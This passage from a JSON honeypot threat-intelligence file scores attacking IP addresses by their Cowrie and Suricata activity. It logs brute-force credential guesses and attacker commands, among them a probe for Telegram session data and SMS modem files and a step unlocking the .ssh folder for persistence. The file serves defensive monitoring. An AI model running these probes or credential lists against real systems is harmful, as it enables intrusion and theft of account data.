      "first_seen": "2026-03-26T22:39:42.830Z",
      "last_seen": "2026-03-27T00:40:55.859Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "vicidial",
        "SangomaDefaultPassword",
        "admin75ADMIN!",
        "netillo123"
      ],
      "commands_executed": [
        "history | tail -5",
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T22:39:42.830000+00:00",
        "last_seen_30d": "2026-03-27T00:40:55.859000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 63,
        "Suricata": 38
      }
    },
    "14.1.104.205": {
      "attack_count": 50,
      "first_seen": "2026-03-26T10:15:35.220Z",
      "last_seen": "2026-03-26T10:21:00.544Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:15:35.220000+00:00",
        "last_seen_30d": "2026-03-26T10:22:04.572000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.72.198": {
      "attack_count": 50,
      "first_seen": "2026-03-28T22:29:47.577Z",
      "last_seen": "2026-03-28T22:35:36.998Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Mian Channu",
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T22:29:47.577000+00:00",
        "last_seen_30d": "2026-03-28T22:36:40.588000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.211.177": {
      "attack_count": 48,
      "first_seen": "2026-03-10T18:51:58.236Z",
      "last_seen": "2026-03-10T18:57:10.432Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T18:51:58.236000+00:00",
        "last_seen_30d": "2026-03-10T18:58:17.472000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "175.107.37.169": {
      "attack_count": 48,
      "first_seen": "2026-03-04T17:05:30.216Z",
      "last_seen": "2026-03-04T17:10:41.943Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T17:05:30.216000+00:00",
        "last_seen_30d": "2026-03-04T17:11:47.962000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "178.62.87.152": {
      "attack_count": 46,
      "first_seen": "2026-03-02T22:57:09.539Z",
      "last_seen": "2026-03-02T23:02:29.851Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T22:57:04.762000+00:00",
        "last_seen_30d": "2026-03-02T23:03:30.854000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 13
      }
    },
    "182.121.248.105": {
      "attack_count": 42,
      "first_seen": "2026-03-28T02:48:48.790Z",
      "last_seen": "2026-03-28T02:53:21.274Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T02:48:48.790000+00:00",
        "last_seen_30d": "2026-03-28T02:54:22.405000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "162.214.99.34": {
      "attack_count": 41,
      "first_seen": "2026-03-05T22:34:43.974Z",
      "last_seen": "2026-03-12T22:08:11.277Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "Kelltech2025",
        "Kelltech2026",
        "Kelltech@2025",
        "Kelltech@2026",
        "Kelltech@admin",
        "kelltech@admin",
        "kelltech@root"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T22:34:43.974000+00:00",
        "last_seen_30d": "2026-03-12T22:09:19.016000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 21
      }
    },
    "81.231.139.106": {
      "attack_count": 37,
      "first_seen": "2026-03-15T08:25:18.597Z",
      "last_seen": "2026-03-15T08:26:36.743Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 3301,
      "as_org": "Telia Company AB",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T08:25:18.597000+00:00",
        "last_seen_30d": "2026-03-15T08:27:37.332000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 4
      }
    },
    "117.198.218.187": {
      "attack_count": 33,
      "first_seen": "2026-03-18T23:45:57.018Z",
      "last_seen": "2026-03-25T09:55:37.207Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu",
        "centos"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.7,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T23:45:57.018000+00:00",
        "last_seen_30d": "2026-03-25T09:56:39.507000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 14
      }
    },
    "54.67.74.238": {
      "attack_count": 32,
      "first_seen": "2026-03-14T22:29:42.346Z",
      "last_seen": "2026-03-14T22:29:48.509Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:29:42.346000+00:00",
        "last_seen_30d": "2026-03-14T22:30:55.196000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "94.243.11.38": {
      "attack_count": 30,
      "first_seen": "2026-03-08T15:13:09.902Z",
      "last_seen": "2026-03-08T15:16:38.905Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T15:13:09.902000+00:00",
        "last_seen_30d": "2026-03-08T15:17:47.410000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "120.20.20.71": {
      "attack_count": 29,
      "first_seen": "2026-03-30T22:41:57.519Z",
      "last_seen": "2026-03-30T22:46:18.986Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "M#b03NDdi1>!",
        "",
        "M#b03NDdi1<'"
      ],
      "commands_executed": [
        "ls",
        "cd /",
        "cd /opt",
        "exit",
        "ls -lta"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.var",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.client.size",
        "cowrie.log.closed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Adelaide",
      "asn": 133612,
      "as_org": "Vodafone Australia Pty Ltd",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T22:41:57.519000+00:00",
        "last_seen_30d": "2026-03-30T22:47:28.345000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 7
      }
    },
    "177.10.201.7": {
      "attack_count": 23,
      "first_seen": "2026-03-17T05:03:06.102Z",
      "last_seen": "2026-03-17T05:03:16.203Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "ed",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "ed"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campina Grande",
      "asn": 263025,
      "as_org": "ISPTEC Sistemas de Comunicacao Eireli",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T05:03:06.102000+00:00",
        "last_seen_30d": "2026-03-17T05:04:20.197000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "62.60.226.201": {
      "attack_count": 20,
      "first_seen": "2026-03-03T04:23:14.279Z",
      "last_seen": "2026-03-03T04:25:50.983Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 214351,
      "as_org": "Femo It Solutions Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T04:23:14.279000+00:00",
        "last_seen_30d": "2026-03-03T21:06:23.674000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 13,
        "Honeytrap": 1
      }
    },
    "38.188.160.214": {
      "attack_count": 18,
      "first_seen": "2026-03-10T23:19:29.962Z",
      "last_seen": "2026-03-10T23:24:13.209Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "0602091",
        "22446688",
        "520042004"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:19:29.962000+00:00",
        "last_seen_30d": "2026-03-10T23:25:18.322000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 7
      }
    },
    "45.156.87.91": {
      "attack_count": 18,
      "first_seen": "2026-03-11T16:27:00.032Z",
      "last_seen": "2026-03-12T10:20:57.543Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 68.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.3,
        "persistence": 20.0,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 670,
        "days_active_30d": 24,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T02:33:08.815000+00:00",
        "last_seen_30d": "2026-03-25T23:55:42.162000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 455,
        "Adbhoney": 140,
        "Honeyaml": 57,
        "Cowrie": 18
      }
    },
    "2.57.122.188": {
      "attack_count": 16,
      "first_seen": "2026-03-19T10:07:38.341Z",
      "last_seen": "2026-03-30T10:02:19.931Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T10:07:38.341000+00:00",
        "last_seen_30d": "2026-03-30T10:03:20.309000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "115.49.30.85": {
      "attack_count": 10,
      "first_seen": "2026-03-27T04:01:24.155Z",
      "last_seen": "2026-03-27T04:02:28.706Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T04:01:24.155000+00:00",
        "last_seen_30d": "2026-03-27T04:03:29.332000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "175.170.144.19": {
      "attack_count": 10,
      "first_seen": "2026-03-04T07:50:53.079Z",
      "last_seen": "2026-03-17T15:08:50.605Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123qwe!@#",
        "Apple@2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Dalian",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:50:53.079000+00:00",
        "last_seen_30d": "2026-03-17T15:09:52.609000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "38.188.160.14": {
      "attack_count": 10,
      "first_seen": "2026-03-11T00:03:57.841Z",
      "last_seen": "2026-03-11T00:13:30.045Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "170388",
        "dickhead"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:03:57.841000+00:00",
        "last_seen_30d": "2026-03-11T00:14:37.448000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "66.240.236.119": {
      "attack_count": 8,
      "first_seen": "2026-03-24T20:34:13.984Z",
      "last_seen": "2026-03-24T20:34:18.512Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 89.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.2,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 210,
        "days_active_30d": 26,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-06T04:36:28.868000+00:00",
        "last_seen_30d": "2026-03-31T17:57:52.244000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 159,
        "Honeytrap": 37,
        "Cowrie": 8,
        "CitrixHoneypot": 2,
        "Honeyaml": 2,
        "Ipphoney": 2
      }
    },
    "172.202.117.124": {
      "attack_count": 7,
      "first_seen": "2026-03-09T10:52:13.949Z",
      "last_seen": "2026-03-09T10:52:24.165Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 50.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-09T10:51:05.958000+00:00",
        "last_seen_30d": "2026-03-30T19:49:42.753000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 7,
        "Honeytrap": 2
      }
    },
    "116.176.57.164": {
      "attack_count": 6,
      "first_seen": "2026-03-17T06:25:07.552Z",
      "last_seen": "2026-03-17T06:27:09.939Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:25:07.552000+00:00",
        "last_seen_30d": "2026-03-17T06:39:31.384000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "167.94.138.174": {
      "attack_count": 6,
      "first_seen": "2026-03-02T11:34:21.419Z",
      "last_seen": "2026-03-02T11:35:46.983Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 20,
        "ports_targeted_30d": 28,
